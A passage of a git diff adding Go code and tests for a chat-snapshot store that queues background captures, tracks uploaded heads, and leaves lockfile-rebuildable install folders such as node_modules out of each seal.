boundary, while only +// movement, upload, displacement and exit need disk durability (C28/E1). +func Captured(ctx context.Context, c cell.Cell) error { + captures.Lock() + state := captures.cells[c.Root] + captures.Unlock() + if state == nil { + return nil + } + if err := awaitCapture(ctx, state.done); err != nil { + return err + } + captures.Lock() + err := state.err + captures.Unlock() + return err +} + +func awaitCapture(ctx context.Context, done <-chan struct{}) error { + if done == nil { + return nil + } + ctx, cancel := context.WithTimeout(ctx, SealWithin) + defer cancel() + select { + case <-done: + return nil + case <-ctx.Done(): + return fmt.Errorf("still saving this chat on this computer: %w", ctx.Err()) + } +} + +func (r *Recorder) wait(ctx context.Context) error { + r.asyncMu.Lock() + done := r.running + r.asyncMu.Unlock() + return awaitCapture(ctx, done) +} + +// Warm begins a screened capture before tools run. A tool arriving before the +// initial screen finishes waits: reading files concurrently with an unscreened +// writer would break C9. Close and movement wait on this same worker (E2). +func (r *Recorder) Warm(ctx context.Context) { + r.asyncMu.Lock() + r.warming = true + r.asyncMu.Unlock() + r.schedule(ctx) +} + +// schedule coalesces only requests made while the same capture is running. +// The completion is already durable before this starts. A new tool waits for +// the worker, so its writes cannot be folded into an earlier call's snapshot. +func (r *Recorder) schedule(ctx context.Context) { + r.asyncMu.Lock() + defer r.asyncMu.Unlock() + r.requested = true + if r.running != nil { + return + } + state := &captureState{done: make(chan struct{})} + r.running = state.done + registerCapture(r.cell.Root, state) + guard.Go("save chat", func() { r.runQueued(ctx, state) }) +} + +func registerCapture(root string, state *captureState) { + captures.Lock() + defer captures.Unlock() + captures.cells[root] = state +} + +func (r *Recorder) runQueued(ctx context.Context, state *captureState) { + defer func() { + if recovered := recover(); recovered != nil { + r.report(guard.Note("save chat", recovered)) + r.finishCapture(state, true) + } + }() + for { + r.takeRequest() + r.capture(ctx) + if r.finishCapture(state, false) { + return + } + } +} + +func (r *Recorder) takeRequest() { + r.asyncMu.Lock() + defer r.asyncMu.Unlock() + r.requested = false +} + +func (r *Recorder) capture(ctx context.Context) { + r.mu.Lock() + defer r.mu.Unlock() + r.asyncMu.Lock() + warm := r.warming + r.warming = false + r.asyncMu.Unlock() + if !warm && len(r.pending) == 0 && len(r.models) == 0 && !r.transcriptGrew() { + return + } + run, cancel := context.WithTimeout(context.WithoutCancel(ctx), SealWithin) + defer cancel() + r.seal(run) +} + +func (r *Recorder) finishCapture(state *captureState, fault bool) bool { + r.asyncMu.Lock() + defer r.asyncMu.Unlock() + if r.requested && !fault { + return false + } + r.errorMu.Lock() + state.err = r.lastError + r.errorMu.Unlock() + completeCapture(r.cell.Root, state) + r.running = nil + return true +} + +func completeCapture(root string, state *captureState) { + captures.Lock() + defer captures.Unlock() + if captures.cells[root] == state && state.err == nil { + delete(captures.cells, root) + } + close(state.done) +} + +// Drain is the final, bounded boundary: it includes a transcript tail and +// propagates a saving error to the caller that is closing the chat. +func (r *Recorder) Drain(ctx context.Context) error { + r.Settle(ctx) + if err := r.wait(ctx); err != nil { + r.report(err) + return err + } + if err := commits.flush(ctx, r.cell.Root); err != nil { + r.report(err) + return err + } + r.errorMu.Lock() + defer r.errorMu.Unlock() + return r.lastError +} diff --git a/internal/cellstore/pipeline_test.go b/internal/cellstore/pipeline_test.go new file mode 100644 index 0000000000..6ead71aaa6 --- /dev/null +++ b/internal/cellstore/pipeline_test.go @@ -0,0 +1,205 @@ +package cellstore + +import ( + "context" + "errors" + "os" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" +) + +type blockingCapture struct { + entered, release chan struct{} + calls chan TurnInfo +} + +func (s blockingCapture) Seal(ctx context.Context, c cell.Cell, in TurnInfo) (Sealed, error) { + s.entered <- struct{}{} + select { + case <-s.release: + case <-ctx.Done(): + return Sealed{}, ctx.Err() + } + s.calls <- in + return Sealed{}, nil +} + +// TestD3CommandReturnsAndNextCallWaits proves D3 and D4 without clock sleeps: +// the first call returns with a durable completion while capture is blocked; +// no later tool can run over that capture, and its output remains in the WAL. +func TestD3CommandReturnsAndNextCallWaits(t *testing.T) { + c := newCell(t) + s := blockingCapture{make(chan struct{}, 2), make(chan struct{}), make(chan TurnInfo, 2)} + wal := filepath.Join(t.TempDir(), "wal") + r, err := NewRecorder(&stubExec{}, s, c, wal, Options{Async: true}) + if err != nil { + t.Fatal(err) + } + if err := r.Around(t.Context(), executor.Call{Tool: "bash", Args: []byte("first")}, executor.EffectExternal, AgentRun, func() ([]byte, bool) { return []byte("first output"), false }); err != nil { + t.Fatal(err) + } + <-s.entered + _, recovery, err := OpenWAL(wal) + if err != nil || len(recovery.Completed) != 1 || string(recovery.Completed[0].Stdout) != "first output" { + t.Fatalf("unsealed result not durable: %+v %v", recovery, err) + } + ctx, cancel := context.WithCancel(t.Context()) + cancel() + ran := false + err = r.Around(ctx, executor.Call{Tool: "bash"}, executor.EffectExternal, AgentRun, func() ([]byte, bool) { ran = true; return nil, false }) + if !errors.Is(err, context.Canceled) || ran { + t.Fatalf("next call passed pending capture: %v ran=%v", err, ran) + } + if err := Await(ctx, c); !errors.Is(err, context.Canceled) { + t.Fatalf("move boundary dropped pending seal: %v", err) + } + close(s.release) + if err := r.wait(t.Context()); err != nil { + t.Fatal(err) + } + in := <-s.calls + if len(in.Calls) != 1 || string(in.Calls[0].Stdout) != "first output" { + t.Fatalf("capture lost result: %+v", in) + } +} + +// TestD4CloseSurfacesPendingCapture proves D4: process exit surfaces a pending +// capture rather than silently abandoning it when its wait is cancelled. +func TestD4CloseSurfacesPendingCapture(t *testing.T) { + c := newCell(t) + s := blockingCapture{make(chan struct{}, 1), make(chan struct{}), make(chan TurnInfo, 1)} + r, err := NewRecorder(&stubExec{}, s, c, filepath.Join(t.TempDir(), "wal"), Options{Async: true}) + if err != nil { + t.Fatal(err) + } + r.pending = []Executed{exec1("bash", "out")} + ctx, cancel := context.WithCancel(t.Context()) + cancel() + // The worker ignores a turn's cancellation, but closing waits on the caller's + // deadline and tells the person that saving is still pending. + r.Settle(t.Context()) + <-s.entered + if err := r.Drain(ctx); !errors.Is(err, context.Canceled) { + t.Fatalf("exit hid a pending capture: %v", err) + } + close(s.release) + if err := r.wait(t.Context()); err != nil { + t.Fatal(err) + } +} + +type failedCapture struct{ err error } + +func (s failedCapture) Seal(context.Context, cell.Cell, TurnInfo) (Sealed, error) { + return Sealed{}, s.err +} + +// TestD4FailedCaptureBlocksAMove proves D4 and L9: even after a background +// worker stops, a failed save cannot authorize moving the earlier head and its +// completed external call remains durable rather than being run again. +func TestD4FailedCaptureBlocksAMove(t *testing.T) { + c := newCell(t) + fault := errors.New("capture refused") + wal := filepath.Join(t.TempDir(), "wal") + r, err := NewRecorder(&stubExec{}, failedCapture{fault}, c, wal, Options{Async: true}) + if err != nil { + t.Fatal(err) + } + if err := r.Around(t.Context(), executor.Call{Tool: "bash"}, executor.EffectExternal, AgentRun, func() ([]byte, bool) { return []byte("done once"), false }); err != nil { + t.Fatal(err) + } + if err := r.wait(t.Context()); err != nil { + t.Fatal(err) + } + if err := Await(t.Context(), c); !errors.Is(err, fault) { + t.Fatalf("move ignored the failed save: %v", err) + } + if err := r.Drain(t.Context()); !errors.Is(err, fault) { + t.Fatalf("close ignored the failed save: %v", err) + } + _, recovery, err := OpenWAL(wal) + if err != nil || len(recovery.Completed) != 1 { + t.Fatalf("failed save lost its completion: %+v %v", recovery, err) + } +} + +// TestE2WarmStartsBeforeACommandAndCloseJoinsIt proves E2 and C9: a newly +// opened chat starts capture without a tool, and neither an early tool nor +// close can race its screen. No command is needed to finish the first capture. +func TestE2WarmStartsBeforeACommandAndCloseJoinsIt(t *testing.T) { + c := newCell(t) + s := blockingCapture{make(chan struct{}, 2), make(chan struct{}), make(chan TurnInfo, 2)} + r, err := NewRecorder(&stubExec{}, s, c, filepath.Join(t.TempDir(), "wal"), Options{Async: true}) + if err != nil { + t.Fatal(err) + } + r.Warm(t.Context()) + <-s.entered + ctx, cancel := context.WithCancel(t.Context()) + cancel() + ran := false + err = r.Around(ctx, executor.Call{Tool: "bash"}, executor.EffectExternal, AgentRun, func() ([]byte, bool) { ran = true; return nil, false }) + if !errors.Is(err, context.Canceled) || ran { + t.Fatalf("tool raced cold screen: %v ran=%v", err, ran) + } + if err := r.Drain(ctx); !errors.Is(err, context.Canceled) { + t.Fatalf("close abandoned capture: %v", err) + } + close(s.release) + if err := r.Drain(t.Context()); err != nil { + t.Fatal(err) + } + in := <-s.calls + if len(in.Calls) != 0 { + t.Fatalf("warm capture fabricated calls: %+v", in) + } +} + +// TestC28CommandWaitDoesNotCommitBeforeBoundary proves C28/E1: ordinary +// command ownership checks wait for capture, but a disk-flush error belongs to +// the explicit movement boundary, not to each following command. +func TestC28CommandWaitDoesNotCommitBeforeBoundary(t *testing.T) { + c := newCell(t) + parent := filepath.Join(t.TempDir(), "file") + if err := os.WriteFile(parent, nil, 0600); err != nil { + t.Fatal(err) + } + path := filepath.Join(parent, "not-a-directory") + commits.mark(c.Root, path, false) + defer func() { commits.mu.Lock(); delete(commits.pending, commitPath{c.Root, path}); commits.mu.Unlock() }() + if err := Captured(t.Context(), c); err != nil { + t.Fatalf("command forced disk flush: %v", err) + } + if err := Await(t.Context(), c); err == nil { + t.Fatal("move hid disk flush error") + } +} + +// TestE2ExitJoinsAnOpenedSeatWithoutAnAgent proves E2/C28: an error after +// seat construction cannot abandon a first capture just because no Agent.Close +// was installed. The common process exit also waits and reports cancellation. +func TestE2ExitJoinsAnOpenedSeatWithoutAnAgent(t *testing.T) { + c := newCell(t) + s := blockingCapture{make(chan struct{}, 2), make(chan struct{}), make(chan TurnInfo, 2)} + r, err := NewRecorder(&stubExec{}, s, c, filepath.Join(t.TempDir(), "wal"), Options{Async: true}) + if err != nil { + t.Fatal(err) + } + r.Warm(t.Context()) + <-s.entered + ctx, cancel := context.WithCancel(t.Context()) + cancel() + if err := Flush(ctx); !errors.Is(err, context.Canceled) { + t.Fatalf("exit abandoned opened seat: %v", err) + } + close(s.release) + if err := r.wait(t.Context()); err != nil { + t.Fatal(err) + } + if err := Flush(t.Context()); err != nil { + t.Fatal(err) + } +} diff --git a/internal/cellstore/published.go b/internal/cellstore/published.go new file mode 100644 index 0000000000..d396ea1faa --- /dev/null +++ b/internal/cellstore/published.go @@ -0,0 +1,102 @@ +package cellstore + +import ( + "encoding/json" + "errors" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "os" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// publishedPath keeps the upload boundary separate from the newest local seal: +// a clean working tree can still hold turns no other device has received. +const publishedPath = ".cell/published.json" + +// KnowsHead says whether head is in this tree's sealed ancestry. An adopted +// head has no line in the carried turn log, so its note counts even after the +// next local seal has extended it. +func KnowsHead(c cell.Cell, head string) (bool, error) { + if head == "" { + return true, nil + } + if adopted, ok := readAdoption(c); ok && adopted.Head == head { + return true, nil + } + turns, err := Turns(c) + for _, turn := range turns { + if turn.ID == head { + return true, err + } + } + return false, err +} + +// NotePublished records a head that the directory accepted or this device +// received, so a later take can distinguish uploaded history from local work. +func NotePublished(c cell.Cell, head string) error { + raw, err := json.Marshal(struct { + Head string `json:"head"` + }{head}) + if err != nil { + return err + } + p := rel(c, publishedPath) + if err := os.MkdirAll(filepath.Dir(p), 0o700); err != nil { + return err + } + if err := os.WriteFile(p+".tmp", raw, 0o600); err != nil { + return err + } + return fsreplace.Rename(p+".tmp", p) +} + +// Unpublished names the sealed local work beyond the uploaded head. An older +// installation without an upload note uses its last adoption, then the remote +// head; an unfamiliar boundary conservatively keeps the local history. +func Unpublished(c cell.Cell, remoteHead string) (string, uint32, error) { + head, err := Head(c) + if err != nil || head == nil || head.Turn.ID == remoteHead { + return "", 0, err + } + base := remoteHead + var published struct { + Head string `json:"head"` + } + raw, err := os.ReadFile(rel(c, publishedPath)) + switch { + case err == nil: + if err := json.Unmarshal(raw, &published); err != nil { + return "", 0, err + } + base = published.Head + case errors.Is(err, os.ErrNotExist): + if adopted, ok := readAdoption(c); ok { + base = adopted.Head + } + default: + return "", 0, err + } + if head.Turn.ID == base { + return "", 0, nil + } + turns, err := Turns(c) + if err != nil { + return "", 0, err + } + var n uint32 + for i := len(turns) - 1; i >= 0; i-- { + turn := turns[i] + if turn.ID == base { + break + } + n++ + // An adopted head has no line in this log. Its first local child + // still names that boundary, so earlier history is already uploaded. + if turn.Parent == base { + break + } + } + return head.Turn.ID, max(1, n), nil +} diff --git a/internal/cellstore/rebuild.go b/internal/cellstore/rebuild.go new file mode 100644 index 0000000000..03c5ca159d --- /dev/null +++ b/internal/cellstore/rebuild.go @@ -0,0 +1,215 @@ +package cellstore + +import ( + "os" + "path" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/chatfiles" + "github.com/Agent-Field/codeaf/internal/inventory" + "github.com/Agent-Field/codeaf/internal/keys" + "github.com/Agent-Field/codeaf/internal/rebuild" + "github.com/Agent-Field/codeaf/internal/taskcopy" +) + +// Left is an install folder a seal leaves out and the lockfile that rebuilds it. +type Left struct{ Path, Lock string } + +// The reasons a single path is set apart, told to a person in the resume. One +// place, so the seal, the take and the tests say the same words. +const ( + reasonUnreadable = "cannot be read on this machine" + reasonHeld = "its name differs only in letter case or accents from another file, and this machine's file system keeps one" +) + +// Apart is a path set apart from the seal one by one, with why. +type Apart struct{ Path, Reason string } + +// Screened is what a screening found besides secrets: the install folders left +// out of the seal, the lockfiles seen in the tree, and the single paths set +// apart because this machine cannot read them or cannot keep their names. +type Screened struct { + scan *captureScan + Folders []Left + Locks []string + Apart []Apart +} + +func (s Screened) paths() []string { + out := make([]string, len(s.Folders)) + for i, f := range s.Folders { + out[i] = f.Path + } + return out +} + +// leftOut is the install folders this seal leaves out because a lockfile that +// travels rebuilds them. It is the rule of docs/STAGE-1-CONTRACTS.md section +// 19.4, and each folder that fails any test of it travels with the seal exactly +// as before, so being wrong costs the bytes the seal would have carried anyway. +func (g Guard) leftOut(tree string, changed, locks []string, policy policyFile) Screened { + personal := policy + personal.ignoredDirs = nil + // An ignored install folder still has its rebuild instruction. Recognizing + // its name does not enter it; every other ignored directory stays pruned. + skip := func(rel string) bool { + return personal.isLeftOut(rel) || (policy.isLeftOut(rel) && !rebuild.IsInstallFolder(path.Base(rel))) + } + found := rebuild.Scan(tree, changed, rebuild.Found{Folders: policy.rebuilt, Locks: locks}, skip) + out := Screened{Locks: found.Locks} + for _, folder := range found.Folders { + if lock, ok := g.licence(tree, folder, policy); ok { + out.Folders = append(out.Folders, Left{Path: folder, Lock: lock}) + } + } + return out +} + +// licence is the lockfile that lets folder stay out of the seal, when there is +// one: the person has not excluded the folder themselves, a lock that will be +// in the seal rebuilds it, and nothing in it is source the project tracks. +func (g Guard) licence(tree, folder string, policy policyFile) (string, bool) { + personal := policy + personal.ignoredDirs = nil + if personal.isLeftOut(folder) { + return "", false + } + lock, ok := rebuild.LockFor(tree, folder, func(lock string) bool { return g.inSeal(tree, lock, policy) }) + return lock, ok && !rebuild.Tracked(tree, folder) +} + +// inSeal reports whether a lockfile is carried by the seal: the person has not +// excluded it and the secret guard would not hold it back. The other machine +// rebuilds from what it receives, so a lock that does not arrive licenses nothing. +func (g Guard) inSeal(tree, lock string, policy policyFile) bool { + if policy.isLeftOut(lock) || gitIgnored(tree, lock) { + return false + } + return len(keys.Scanner{Ledger: g.Ledger}.Paths(tree, []string{lock})) == 0 +} + +// ownedBySeal is the record entries the seal's own step writes: the task-copy +// step writes those of the copies and the chat-files step those of the chat's +// logs and journals, and none erases another's. +func ownedBySeal(path string) bool { + return !taskcopy.OwnsWithheld(path) && !chatfiles.OwnsWithheld(path) +} + +// knownLocks is the lockfiles the record already names, so a seal that looks at +// only the changed paths does not forget the rest. +func knownLocks(c cell.Cell) []string { + s, err := inventory.Open(c.Root) + if err != nil { + return nil + } + return s.Snapshot().Lockfiles +} + +// noteLeftOut writes into the record, in the same seal that leaves a folder out, +// which folders those are and what rebuilds each. It is what makes the record +// and the exclusion one fact: a folder is never left out without the next +// machine being able to read that it was. +func noteLeftOut(c cell.Cell, tree string, s Screened, calls []Executed) error { + return inventory.Record(c.Root, func(inv *inventory.Inventory) { + inv.Lockfiles = s.Locks + entries := withheldEntries(inv.Withheld, s.Folders, calls, modifiedAt(tree)) + for _, w := range inv.Withheld { + if w.Reason == reasonGitIgnored { + entries = append(entries, w) + } + } + inv.SetWithheld(ownedBySeal, append(entries, apartEntries(inv.Withheld, s.Apart)...)) + }) +} + +// apartEntries is one record entry per path set apart, with no lockfile: nothing +// rebuilds it. A path already recorded keeps the reason it was given, since the +// take that held a name wrote a more specific one than the seal can. +func apartEntries(before []inventory.Withheld, apart []Apart) []inventory.Withheld { + known := map[string]string{} + for _, w := range before { + known[w.Path] = w.Reason + } + out := make([]inventory.Withheld, 0, len(apart)) + for _, a := range apart { + reason := a.Reason + if prev := known[a.Path]; prev != "" { + reason = prev + } + out = append(out, inventory.Withheld{Path: a.Path, Reason: reason}) + } + return out +} + +// withheldEntries is one record entry per folder left out. A folder keeps the +// command that made it until a later call is seen to change it; one that turns +// up in this seal is credited to the newest successful command of the batch, +// since a command line does not say what it wrote, unless the folder is older +// than that command: then it was there before and nobody is named. +func withheldEntries(before []inventory.Withheld, folders []Left, calls []Executed, modified modTime) []inventory.Withheld { + known := map[string]inventory.Withheld{} + for _, w := range before { + known[w.Path] = w + } + out := make([]inventory.Withheld, 0, len(folders)) + for _, f := range folders { + prev, seen := known[f.Path] + w := inventory.Withheld{Path: f.Path, Lock: f.Lock, MadeBy: prev.MadeBy, Cwd: prev.Cwd} + if call, ok := newestMaker(f.Path, calls, !seen, modified); ok { + w.MadeBy, w.Cwd = inventory.Cleaned(call.Command), inventory.Cwd(call.Dir) + } + out = append(out, w) + } + return out +} + +// newestMaker is the latest successful command that could have written the +// folder: one whose known changes reach into it, or, when the folder is new to +// the record, one that says nothing about what it changed but could have. +func newestMaker(folder string, calls []Executed, fresh bool, modified modTime) (Executed, bool) { + for i := len(calls) - 1; i >= 0; i-- { + call := calls[i] + if call.Command != "" && call.Call.Exit == 0 && wrote(call, folder, fresh && !predates(folder, call, modified)) { + return call, true + } + } + return Executed{}, false +} + +func wrote(call Executed, folder string, fresh bool) bool { + if call.Changed == nil { + return fresh + } + for _, path := range call.Changed { + if inRules([]string{folder}, path) { + return true + } + } + return false +} + +// modTime says when a folder of the tree was last modified, in Unix +// milliseconds; false when it cannot be read. +type modTime func(folder string) (int64, bool) + +// modifiedAt reads folder modification times under the tree. +func modifiedAt(tree string) modTime { + return func(folder string) (int64, bool) { + info, err := os.Stat(filepath.Join(tree, folder)) + if err != nil { + return 0, false + } + return info.ModTime().UnixMilli(), true + } +} + +// predates reports whether the folder was last touched before the call began. +// A command that says nothing about what it changed is credited with a folder +// new to the record, but a folder whose newest change is older than the call +// cannot be its work: it was in the tree before the chat reached it. A folder +// whose time cannot be read is not excused, so the old credit stands. +func predates(folder string, call Executed, modified modTime) bool { + at, ok := modified(folder) + return ok && at < call.Call.Started +} diff --git a/internal/cellstore/rebuild_test.go b/internal/cellstore/rebuild_test.go new file mode 100644 index 0000000000..f6f9ca4107 --- /dev/null +++ b/internal/cellstore/rebuild_test.go @@ -0,0 +1,370 @@ +package cellstore + +import ( + "context" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/inventory" +) + +// look is one screening of the rig's tree, answering what it left out. +func (r *guardRig) look(changed ...string) Screened { + r.t.Helper() + got, err := r.guard.Look(r.cell, r.tree, r.state(), changed, nil) + if err != nil { + r.t.Fatal(err) + } + return got +} + +// folders is the paths a screening left out. +func folders(s Screened) []string { return append([]string(nil), s.paths()...) } + +// commit makes the rig's tree a git repository holding everything in it. +func (r *guardRig) commit() { + r.t.Helper() + for _, args := range [][]string{{"init", "-q"}, {"add", "-A", "-f"}, {"-c", "user.name=t", "-c", "user.email=t@t", "commit", "-qm", "x"}} { + if out, err := gitIn(r.tree, args...); err != nil { + r.t.Fatalf("git %v: %v\n%s", args, err, out) + } + } +} + +func (r *guardRig) npmProject() { + r.write("package-lock.json", `{"lockfileVersion":3}`) + r.write("node_modules/left-pad/index.js", "module.exports = 1\n") +} + +func TestWithholdInstallFolderWithLockfile(t *testing.T) { + r := newRig(t) + r.npmProject() + got := r.look() + if want := []Left{{Path: "node_modules", Lock: "package-lock.json"}}; !reflect.DeepEqual(got.Folders, want) { + t.Fatalf("left out %+v, want %+v", got.Folders, want) + } + if p := r.policy(); !reflect.DeepEqual(p.rebuilt, []string{"node_modules"}) || len(p.withheld) != 0 { + t.Fatalf("policy %+v: the folder belongs in its own block and not the secrets block", p) + } + text, _ := os.ReadFile(filepath.Join(r.state(), policyName)) + if !strings.Contains(string(text), rebuiltTag+"\nexclude node_modules\n") { + t.Fatalf("policy file:\n%s", text) + } +} + +func TestNoLockfileTravels(t *testing.T) { + r := newRig(t) + r.write("package.json", `{"name":"x"}`) + r.write("node_modules/left-pad/index.js", "module.exports = 1\n") + if got := r.look(); len(got.Folders) != 0 || len(r.policy().rebuilt) != 0 { + t.Fatalf("a folder with no lockfile was left out: %+v", got.Folders) + } +} + +func TestLockfileNotCarriedFolderTravels(t *testing.T) { + t.Run("the person excluded the lockfile", func(t *testing.T) { + r := newRig(t) + r.npmProject() + r.write(".furrowpolicy", "exclude package-lock.json\n") + if got := r.look(); len(got.Folders) != 0 { + t.Fatalf("left out %+v though its lockfile does not travel", got.Folders) + } + }) + t.Run("the secret guard holds the lockfile back", func(t *testing.T) { + r := newRig(t) + r.npmProject() + r.write("package-lock.json", `{"resolved":"https://x/`+fakeKey+`"}`) + if got := r.look(); len(got.Folders) != 0 { + t.Fatalf("left out %+v though its lockfile is held back as a secret", got.Folders) + } + }) +} + +func TestTrackedFilesUnderFolderTravel(t *testing.T) { + r := newRig(t) + r.npmProject() + r.commit() + if got := r.look(); len(got.Folders) != 0 { + t.Fatalf("left out %+v though the project tracks files inside it", got.Folders) + } +} + +func TestNearestLockfileWins(t *testing.T) { + r := newRig(t) + r.write("package-lock.json", "{}") + r.write("node_modules/a/i.js", "1") + r.write("desktop/package-lock.json", "{}") + r.write("desktop/node_modules/b/i.js", "1") + r.write("tools/node_modules/c/i.js", "1") + want := []Left{ + {"desktop/node_modules", "desktop/package-lock.json"}, + {"node_modules", "package-lock.json"}, + {"tools/node_modules", "package-lock.json"}, + } + if got := r.look(); !reflect.DeepEqual(got.Folders, want) { + t.Fatalf("left out %+v, want %+v", got.Folders, want) + } +} + +func TestWithholdWithoutGit(t *testing.T) { + r := newRig(t) + r.npmProject() + if _, err := os.Stat(filepath.Join(r.tree, ".git")); err == nil { + t.Fatal("the rig's tree is a repository") + } + if got := r.look(); !reflect.DeepEqual(folders(got), []string{"node_modules"}) { + t.Fatalf("left out %v in a tree with no repository", folders(got)) + } +} + +func TestRequirementsCountsOnlyWhenPinned(t *testing.T) { + r := newRig(t) + r.write("requirements.txt", "requests\nflask==3.0.0\n") + r.write(".venv/lib/x.py", "1") + if got := r.look(); len(got.Folders) != 0 { + t.Fatalf("an unpinned requirements file licensed %+v", got.Folders) + } + r.write("requirements.txt", "# pins\nrequests==2.32.0\nflask==3.0.0 # web\n") + if got := r.look(); !reflect.DeepEqual(got.Folders, []Left{{".venv", "requirements.txt"}}) { + t.Fatalf("a fully pinned requirements file left out %+v", got.Folders) + } +} + +func TestLockChangeKeepsFolderOut(t *testing.T) { + r := newRig(t) + r.npmProject() + first := r.look() + r.write("package-lock.json", `{"lockfileVersion":3,"packages":{"node_modules/left-pad":{}}}`) + again := r.look("package-lock.json") + if !reflect.DeepEqual(first.Folders, again.Folders) { + t.Fatalf("a dependency added between seals moved the folder: %+v then %+v", first.Folders, again.Folders) + } +} + +// A folder that a previous seal left out stays out even where it is not on the +// disk: that is the machine a chat moved to, and the folder a setup turn is +// about to bring back. +func TestAbsentFolderStaysKnownUntilItsLockIsGone(t *testing.T) { + r := newRig(t) + r.npmProject() + r.look() + if err := os.RemoveAll(filepath.Join(r.tree, "node_modules")); err != nil { + t.Fatal(err) + } + if got := r.look("app.js"); !reflect.DeepEqual(folders(got), []string{"node_modules"}) { + t.Fatalf("left out %v after the folder left the machine", folders(got)) + } + if err := os.Remove(filepath.Join(r.tree, "package-lock.json")); err != nil { + t.Fatal(err) + } + if got := r.look("package-lock.json"); len(got.Folders) != 0 { + t.Fatalf("still left out %+v with no lockfile to rebuild it", got.Folders) + } +} + +func TestPersonExcludeIsNotRecorded(t *testing.T) { + c := newCell(t) + tree := t.TempDir() + g := Guard{Home: t.TempDir(), Notify: func(string) {}} + for rel, body := range map[string]string{".furrowpolicy": "exclude node_modules\n", "package-lock.json": "{}", "node_modules/x/i.js": "1"} { + writeTree(t, tree, map[string]string{rel: body}, 0o644) + } + got, err := g.Look(c, tree, stateDir(c), nil, nil) + if err != nil { + t.Fatal(err) + } + if err := noteLeftOut(c, c.Root, got, nil); err != nil { + t.Fatal(err) + } + inv, _ := inventory.Open(c.Root) + if p, _ := readPolicy(tree, stateDir(c)); len(p.rebuilt) != 0 || len(got.Folders) != 0 || len(inv.Snapshot().Withheld) != 0 { + t.Fatalf("the person's own exclusion was taken over: policy %+v, folders %+v, record %+v", p, got.Folders, inv.Snapshot().Withheld) + } +} + +func TestFailedInstallStillLeftOut(t *testing.T) { + c := newCell(t) + folders := []Left{{Path: "node_modules", Lock: "package-lock.json"}} + failed := Executed{Call: Call{Exit: 1}, Command: "npm ci"} + if err := noteLeftOut(c, c.Root, Screened{Folders: folders}, []Executed{failed}); err != nil { + t.Fatal(err) + } + inv, _ := inventory.Open(c.Root) + want := []inventory.Withheld{{Path: "node_modules", Lock: "package-lock.json"}} + if got := inv.Snapshot().Withheld; !reflect.DeepEqual(got, want) { + t.Fatalf("record %+v, want the folder named with no maker: a half-finished install is rebuilt from the lock as well", got) + } +} + +func TestMadeByNamesTheCommandThatWroteTheFolder(t *testing.T) { + c := newCell(t) + left := []Left{{Path: "web/node_modules", Lock: "web/package-lock.json"}} + install := Executed{Call: Call{Tool: "bash"}, Command: "cd web && API_KEY=sk-abcdefghijklmnopqrstuvwx npm ci"} + read := Executed{Call: Call{Tool: "read"}} + if err := noteLeftOut(c, c.Root, Screened{Folders: left}, []Executed{install, read}); err != nil { + t.Fatal(err) + } + inv, _ := inventory.Open(c.Root) + got := inv.Snapshot().Withheld[0] + if got.MadeBy != "cd web && API_KEY=… npm ci" { + t.Fatalf("made_by %q: the newest command that could have written it, cleaned of secrets", got.MadeBy) + } + // A later seal that names no maker keeps the first one. + if err := noteLeftOut(c, c.Root, Screened{Folders: left}, []Executed{read}); err != nil { + t.Fatal(err) + } + inv2, _ := inventory.Open(c.Root) + if again := inv2.Snapshot().Withheld[0]; again.MadeBy != got.MadeBy { + t.Fatalf("made_by %q after a seal that saw nothing", again.MadeBy) + } +} + +// One seal through the whole path: a folder is never left out without the record +// saying so in the same seal. +func TestWithheldAlwaysRecorded(t *testing.T) { + c := newCell(t) + fake := &fakeEngine{} + e := fake.engine(t) + writeTree(t, c.Root, map[string]string{ + "package-lock.json": "{}", "node_modules/a/i.js": "1", + "web/package-lock.json": "{}", "web/node_modules/b/i.js": "1", + }, 0o644) + if _, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("bash", "")}}); err != nil { + t.Fatal(err) + } + policy, err := readPolicyAt(c.Root) + if err != nil { + t.Fatal(err) + } + inv, _ := inventory.Open(c.Root) + var recorded []string + for _, w := range inv.Snapshot().Withheld { + recorded = append(recorded, w.Path) + } + if len(policy.rebuilt) != 2 || !reflect.DeepEqual(policy.rebuilt, recorded) { + t.Fatalf("left out %v but the record names %v", policy.rebuilt, recorded) + } + if locks := inv.Snapshot().Lockfiles; !reflect.DeepEqual(locks, []string{"package-lock.json", "web/package-lock.json"}) { + t.Fatalf("lockfiles %v", locks) + } +} + +// The engine's own behaviour, on the real binary: a folder left out is not in +// the snapshot, and a local copy of it is never deleted by a restore or a rewind. +func TestTakeBackLeavesLocalInstallFolder(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c := realEngine(t), newCell(t) + first := sealStep(t, e, c, map[string]string{"package-lock.json": "{}", "node_modules/a/i.js": "mine\n", "src/a.txt": "one\n"}, `{"n":1}`) + writeTree(t, c.Root, map[string]string{"src/a.txt": "damaged\n"}, 0o644) + if err := e.Restore(context.Background(), c, first.Turn.ID, nil); err != nil { + t.Fatal(err) + } + if got, _ := os.ReadFile(filepath.Join(c.Root, "node_modules/a/i.js")); string(got) != "mine\n" { + t.Fatalf("the machine's own install folder was changed by a restore: %q", got) + } + if got, _ := os.ReadFile(filepath.Join(c.Root, "src/a.txt")); string(got) != "one\n" { + t.Fatalf("the restore did not restore: %q", got) + } + }) +} + +func TestRewindKeepsLeftOutFolder(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c := realEngine(t), newCell(t) + first := sealStep(t, e, c, map[string]string{"package-lock.json": "{}", "node_modules/a/i.js": "mine\n", "a.txt": "one\n"}, `{"n":1}`) + sealStep(t, e, c, map[string]string{"a.txt": "two\n"}, `{"n":2}`) + mustRewind(t, e, c, first.Turn.ID) + if got, _ := os.ReadFile(filepath.Join(c.Root, "node_modules/a/i.js")); string(got) != "mine\n" { + t.Fatalf("a rewind changed the left-out folder: %q", got) + } + if got, _ := os.ReadFile(filepath.Join(c.Root, "a.txt")); string(got) != "one\n" { + t.Fatalf("the rewind did not rewind: %q", got) + } + }) +} + +// What a snapshot holds is what a machine that receives it has: a tree damaged +// down to nothing and restored comes back without the folder that was left out. +func TestSnapshotDoesNotHoldTheLeftOutFolder(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c := realEngine(t), newCell(t) + 